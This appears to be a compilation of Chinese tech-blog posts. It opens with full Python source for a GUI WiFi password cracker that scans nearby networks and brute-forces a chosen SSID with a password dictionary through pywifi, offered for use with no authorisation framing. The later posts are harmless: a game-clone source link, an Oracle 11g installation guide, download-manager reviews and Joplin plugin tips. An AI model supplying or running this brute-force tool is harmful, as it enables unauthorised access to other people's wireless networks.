Python暴力破解WiFi密码源码

有界面的GUI软件,效率比抓包更低,因为它是不断通过穷举的密码进行WiFi连接。# coding:utf-8#python -m pip install --upgrade pip#pip install comtypesfrom tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog import tkinter.messageboxclass MY_GUI(): def __init__(self,init_window_name): self.init_window_name = init_window_name #密码文件路径 self.get_value = StringVar() #获取破解wifi账号 self.get_wifi_value = StringVar() #获取wifi密码 self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠1秒 #测试网卡是否属于断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str__(self): # 自动会调用的函数,返回自身的网卡 return '(WIFI:%s,%s)' % (self.wifi,self.iface.name()) #设置窗口 def set_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200,text="配置") # 框架,以下对象都是对于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0) #self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1) #self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1) #self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2) self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2) self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi列表") self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW) # 定义树形结构与滚动条 self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的标题 self.wifi_tree.column("a", width=45, anchor="center") self.wifi_tree.column("b", width=110, anchor="w") self.wifi_tree.column("c", width=120, anchor="w") self.wifi_tree.column("d", width=60, anchor="center") self.wifi_tree.heading("a", text="WiFiID") self.wifi_tree.heading("b", text="SSID") self.wifi_tree.heading("c", text="BSSID") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW) self.wifi_tree.bind("<Double-1>",self.onDBClick) self.vbar.grid(row=4,column=1,sticky=NS) #搜索wifi #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT def scans_wifi_list(self): # 扫描周围wifi列表 #开始扫描 print("^_^ 开始扫描附近wifi...") self.iface.scan() time.sleep(1.5) #在若干秒后获取扫描结果 scanres = self.iface.scan_results() #统计附近被发现的热点数量 nums = len(scanres) print("数量: %s"%(nums)) #print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal")) # 实际数据 self.show_scans_wifi_list(scanres) return scanres #显示wifi列表 def show_scans_wifi_list(self,scans_res): for index,wifi_info in enumerate(scans_res): # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal)) self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密码文件目录 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) #Treeview绑定事件 def onDBClick(self,event): self.sels= event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1]) #读取密码字典,进行匹配 def readPassWord(self): self.getFilePath = 'D:\Pycharm\pwd.txt' self.get_wifissid = self.get_wifi_value.get() pwdfilehander=open(self.getFilePath,"r",errors="ignore") i = 0 while True: try: i=i+1 self.pwdStr=pwdfilehander.readline() if not self.pwdStr: break self.bool1=self.connect(self.pwdStr,self.get_wifissid) if self.bool1: self.res = "===正确=== wifi名:%s 匹配第%s密码:%s "%(self.get_wifissid,i,self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功!!!') print(self.res) break else: self.res = "!错误! wifi名:%s匹配第%s密码:%s"%(self.get_wifissid,i,self.pwdStr) print(self.res) #sleep(1) except: continue #对wifi和密码进行匹配 def connect(self,pwd_Str,wifi_ssid): #创建wifi链接文件 self.profile = pywifi.Profile() self.profile.ssid =wifi_ssid #wifi名称 self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 self.profile.key = pwd_Str #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件 self.iface.connect(self.tmp_profile)#链接 time.sleep(3)#3秒内能否连接上 if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 #time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOKdef gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() #ui.scans_wifi_list() init_window.mainloop()gui_start()

仿羊了个样Github源码及演示地址

个人觉得打发时间玩玩还是挺不错的,无限道具,可选关卡。源码:https://github.com/StreakingMan/solvable-sheep-game演示地址:http://xkai.cc/http://92kj.cn/emo/

仿羊了个样Github源码及演示地址

刷爆朋友圈的微信小游戏“羊了个羊”源码

羊了个羊游戏属于是一款益智游戏闯关类的,新颖的三消类游戏,玩了就停不了。羊了个羊游戏玩法: 1、在游戏中体验前所未有的消除乐趣,海量的关卡,换上不一样的服装道具等; 2、大家一起玩的时候要注意槽位,千万不能让槽位满了,还有下层出现的卡牌; 3、尽可能的按下插槽里东西,有大量的道具可以使用,可爱的小羊们就能一起玩游戏了。 羊了个羊游戏下载特色: 1、羊了个羊下载后的玩法非常简单,乐趣水平高,简单的画面就能体现出游戏的亮点; 2、直接下载安装包,布局体验,无需下载捆绑任何的软件; 3、每一个关卡都能带来新的体验,使用道具撤出或者移动三个砖块,体验消除道具的玩法 羊了个羊游戏亮点: 1、玩该游戏需要动动三个手指消除三个相同的物品,羊了个羊的每个游戏关卡都是可以随意地挑战的; 2、搞清楚游戏的玩法,不能有三个不同的位置,不然很容易输,游戏规则简单,但难度大; 3、当下比较的火,可以看到布局下面的四行牌,只能看到首张的牌,完全不能想出下一张牌是什么。程序说明没有后台无需数据库无需授权代码无加密下载:http://lanzouw.com/b05up3k6f

oracle 11g安装教程

oracle 11g安装教程第一步:下载服务端Oracle 11g安装包。下载地址:链接:https://pan.baidu.com/s/1ewWtg-hQnB38C27sofA2jA提取码:qwer官方网站下载地址:http://download.oracle.com/otn/nt/oracle11g/112010/win64_11gR2_client.ziphttp://download.oracle.com/otn/nt/oracle11g/112010/win64_11gR2_database_1of2.ziphttp://download.oracle.com/otn/nt/oracle11g/112010/win64_11gR2_database_2of2.zip注意:下载OTN上的这些软件,你需要一个OTN免费帐号,不过如果通过迅雷进行下载,就不用登陆OTN了。也可自行在官方网站内下载其他Oracle客户端或图形界面工具版本:https://www.oracle.com/database/technologies/instant-client/downloads.html第二步:Oracle 11g服务端安装1、解压已经下载的文件,将两个压缩文件包同时解压到同一个目录下,点击“确定”。如下图所示: 2、打开安装包路径,找到【setup.exe】双击安装。如下图所示:3、安装前请确保电脑或服务器已经安装好microsoft .net framework 3.5。如不知如何进行安装,可参考(点击后边文字即刻跳转):如何在内网环境下离线安装.NET Framework3.5。双击安装等待。弹出安装窗口,配置安全更新,如图所示,点“下一步”,提示未提供邮件地址,点“是”跳过。 4、安装选项配置,如图所示,点击“下一步” 5、系统类配置,可根据自己需求进行选择。这里选择“桌面类”安装。 6、典型安装配置,可按实际情况修改安装路径,输入管理口令后点“下一点”。 因为是学习环境,所以口令输入比较简单,会提示密码复杂度校验提醒,安装会有如下提示,点“是”跳过即可。 7、先决条件检查,物理环境检查无问题,进度条100%,安装自动跳转到下个安装界面。 8、概要配置界面预览,如下图所示,点“完成”开始安装产品,等待,大概20分钟左右。 安装过程中弹出“创建克隆数据库正在进行”,继续等待即可。 弹框,可查看“口令管理”,建议点点看看就可以了,除非要测试练习,可以取消锁定某些用户,点击口令管理下的“确定”。 9、数据库创建完成,点击“关闭”即可。 到此Oracle就安装完成了。————————————————以上为CSDN博主「SQL数据库运维」的原创文章,原文链接:https://blog.csdn.net/weixin_46329056/article/details/125451601密码配置地址:https://localhost:1158/em/console/logon/logon˂a name=网络连接配置 href="#"˃网络连接配置plsql连接数据库,用户system,密码是安装时输入的口令,因为我是其他服务器安装的Oracle服务,现在使用自己电脑通过远程访问10.8.26.253/orcl,全局数据库是orcl连接报错:ORA-12514。检查服务器端防火墙是否开启,如开启,关闭防火墙重试,这里检查发现防火墙并未开启,不是防火墙的原因造成。再次排查,去服务器端检查监听服务是否已开启,结果是监听服务正常启动;如仍不确定是否是监听服务造成的无法连接,也可重新再配置下监听服务,如下图所示,按步骤操作即可重新配置:查看监听进程在Net Configuration Assistant中配置如下监听服务重新配置后,再次尝试连接,仍提示错误,无法连接。继续排查,检查服务端tnsnames.ora、listener.ora文件是否配置正确,文件路径(Oracle数据库安装路径)F:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN找到文件tnsnames.ora、listener.ora,查看tnsnames.ora,HOST内的参数显示localhost,更改HOST内的相关参数配置为本机名称或IP地址。修改完成保存,把oracle相关服务重启一下,再次打开PL/SQL Developer————————————————原文链接:https://blog.csdn.net/weixin_46329056/article/details/125451601https://blog.csdn.net/sulia1234567890/article/details/121648240

oracle 11g安装教程

Windows/Linux/Mac可以替代IDM的下载器

Windows/Linux/Mac可以替代IDM的下载器IDM一直是下载器中的翘楚,不过是收费软件,虽然单买也不是很贵,有需要可购买。但是当然也有其它免费软件可以选择。FDM一款开源、免费的下载软件,支持HTTP、BT等协议,一款少有的支持种子下载器软件。官网:https://www.freedownloadmanager.org/zh/NDM下载器-Neat Download Manager支持Windows、Mac平台,界面友好支持中文。Neat Download Manager(NDM下载器)是由国外厂商打造开发的一款免费Internet下载管理器,支持HTTP、HTTPS、FTP、HTTP代理、SOCKS协议以及HTTP身份验证和代理身份验证。Neat Download Manager也是一个可靠的应用程序,与其他类似的下载应用程序相比,它可以为你提供快速安全的下载速度,能够与Safari、Google和Opera等不同的搜索引擎进行协作,为你提供管理、保存声音和电影格式的不同文件功能,即使你正在下载文件,它也可以为下载设置带宽限制,并根据下载状态和资源后缀来为用户区分下载的文件类型,比如视频、文档、压缩文件等。而且,Neat Download Manager中文版支持拖放功能,并且与所有类型的流行网络浏览器兼容,包括Googl、Yahoo、MozillaFirefox、Chrome、Opera等,还支持批处理,使你可以同时下载多个文件而不会降低速度。除此之外,你可以设置最大连接数,支持下载完成后将片段合并为在整个文件,非常方便。总得来说,尽管Neat Download Manager是模仿的IDM,各方面都模仿的很像,并且还支持浏览器插件,但是遗憾的是嗅探功能并没有IDM强大,但是软件胜在小巧,非常实用。官网:Neat Download Manager for Mac and Windows (Free Internet Download Manager Mac & Windows )Linux:XDM下载器-Xtreme Download ManageXtreme Download Manager是一款方便易用的强大的下载管理器。该软件可以为用户提供一个安全的下载平台,支持管理任何下载内容。他支持HTTP,HTTPS,FTP协议,代理服务器需要授权的网站,采用了先进的动态分割算法,应用程序可以加快下载过程,完美兼容所有主要平台(Windows、Mac、Linux),Xtreme Download Manager可提升你的下载速度多达500%,支持断点续传和捕获flv网络视频。软件语言为英文,不过都还挺简单的都能看懂。官网:Xtreme Download Manager | XDMAN | XDM Home

Java开源博客Halo Blog

算是最近看到的小清新的一款博客了,功能简洁,支持安装多种主题,可以作为个人博客不错的选择。详情见官网:Halo文档:Halo Documents另外之前也介绍过其他开源Java博客,感兴趣可以试试:B3log - 平等•自由•奔放的开源社区。目前 B3log 已经开源了多款产品:Sym、Solo、Pipe、Vditor、Lute、思源笔记等,欢迎大家加入,贡献开源。otale/tale: 🦄 Best beautiful java blog, worth a try

ZoteroPortable-文献管理工具便携版

zotero是开源的文献管理工具,可以方便的收集,组织,引用,和共享文献的工具。由安德鲁·w·梅隆基金会,斯隆基金会以及美国博物馆和图书馆服务协会资助开发。pedrom34/ZoteroPortable-dev-repo: Zotero in PortableApps.com Format - dev repo下载:Releases · pedrom34/ZoteroPortable-dev-repo正式便携版:Zotero Portable (digital research organizer) | PortableApps.com如果你已经安装了安装版,可以将安装版的资料目录:C:\Users\Administrator\Zotero里资料复制到便携版目录D:\ZoteroPortable\Data\profile,如你所见,这两个目录其实是同一个功能目录,只是解压版跟安装版的路径不一样而已。

joplin笔记本、回收站文章导出markdown工具

Joplin是一个免费的开源笔记记录和待办事项应用程序,可以直接从应用程序或文本编辑器中进行复制,标注和修改,使用Markdown格式,支持导入印象笔记或普通的Markdown文件,反之也同样支持Markdown、HTML格式笔记的导出。支持页面剪藏,网盘同步待办事项及各种可拓展插件,手机、电脑等多端支持。以下工具支持joplin笔记批量全部导出为markdown文档,支持导出回收站内容(joplin本身无回收站),效率可能没自带的全部导出功能强,也只是测试程序,欢迎使用提出宝贵意见。运行环境:Windows 64位下载地址:https://hik.lanzouf.com/iaeRL04bifla

Joplin插件下载及清理多余未使用图片

Joplin是一款手机、电脑、安卓、苹果多端适用的全平台开源笔记本软件,想必看到此文的可能都是忠实用户吧,下面介绍下如何清除冗余附件与一些常用插件的介绍。清楚冗余附件官网方法,在安装浏览器插件的浏览器打开此网址操作:https://joplin-utils.rxliuli.com/web/joplin-batch-web/#/unusedResource获取插件介绍想下载插件但是又不知道要下载什么,官网GitHub介绍太简单,另外也不知道插件功能使用截图怎么样?可以上官网论坛查看,插件作者会上传简介与软件图片:https://discourse.joplinapp.org/c/plugins/18插件GitHub下载:https://github.com/joplin/plugins/blob/master/README.md#plugins如果GitHub下载过慢可参考:Github文件下载加速个人推荐插件[Quick Linkes](Quick Links Plugin)输入@@自动显示标题,可以选择所需文章快捷创建链接。[Automatic Backlinks to note](Automatic backlinks (with manual insert option))自动回链,双向链接。一般我们在A笔记粘贴B笔记的md链接,A笔记能通过链接访问B,但是B却无法访问A,有了它就可以自动帮你加回链,形成“双向链接”,并且也可以在关系图上看到笔记间的关联。[Favorites](Notebook, Note, To-do, Tag, Search Favorites Plugin)星标,收藏夹,将喜欢的笔记、Todo加入收藏夹。[Note Tabs](Plugin: Note Tabs)类似浏览器Tab标签页,但是值得注意的是,要点击Tab标题右上角的钉子图标才能将其固定。[Outline](A markdown outline sidebar plugin for Joplin)标题目录,即TOC目录显示在侧边栏。Note Link Graph UI笔记关系图,基于双向链接链接与标签。Graph笔记关系图,基于双向链接链接与标签。与上一个不同的是右侧多了调节选项。点进去笔记,需要按Ctrl+鼠标左键。[Embed search](Embed any search - with content!)在笔记中嵌入搜索功能,搜索格式:```search你要搜索的内容```Spoiler cards折叠卡片,例如下图就用到折叠卡片配合来进行问答训练,格式:```card你想要折叠的内容```MetisTodo.Txt是一个基于文本的文件系统,可用于管理任务。输入格式:```todotxt(A)给妈妈打电话 @电话(B)写关于Todo.Txt的帖子组织书架 @Home清理花园 @Home学习springboot +java完成程序搭建 +javax 2022-04-28 2022-03-28 完成论坛项目开发```简单说下,@为标签,+java为项目,x为完成此条,任务前面日期,右边是创建日期(例如上面的2022-03-28),左边为完成日期,关于todo.txt语法更多参考:Todo.txt: Future-proof task tracking in a file you control (todotxt.org)Simple Backup 这是个简单的定期备份软件,可以设置多少小时备份一次,可以将笔记本备份为jex或加密的zip压缩包,个人觉得还比较实用,备份路径自己设置。CodeMirror Line Numbers 给markdown编辑器添加行号,算是一种美化吧。Highlight Matching这个不是代码高亮,而是高亮所选值,使得不需要按Ctrl+F进行搜索正文,而是直接选择要搜索的文字即可,按需安装。Home Note 设置某篇文章为打开软件自动打开的文章,例如设置Todo笔记为主页,那么第一次启动软件后会自动打开Todo笔记。Inline tags输入#号能快速创建标签或选择已有标签。macOS theme 一种仿macOS的暗色主题,启动后别忘了在工具->选项->外观里将Joplin主题设置成暗色主题,否则会有几块留白的。

Joplin插件下载及清理多余未使用图片

无数据库启动SpringBoot

无数据库启动SpringBoot平常写些小的springboot在线工具,但是并不需要数据库,此时启动会发现项目启动不了咯,提示If you want an embedded database...等报错,要求你配置数据库,解决方法很简单,启动类上加注解即可: @SpringBootApplication(exclude = { DataSourceAutoConfiguration.class, DataSourceTransactionManagerAutoConfiguration.class, HibernateJpaAutoConfiguration.class})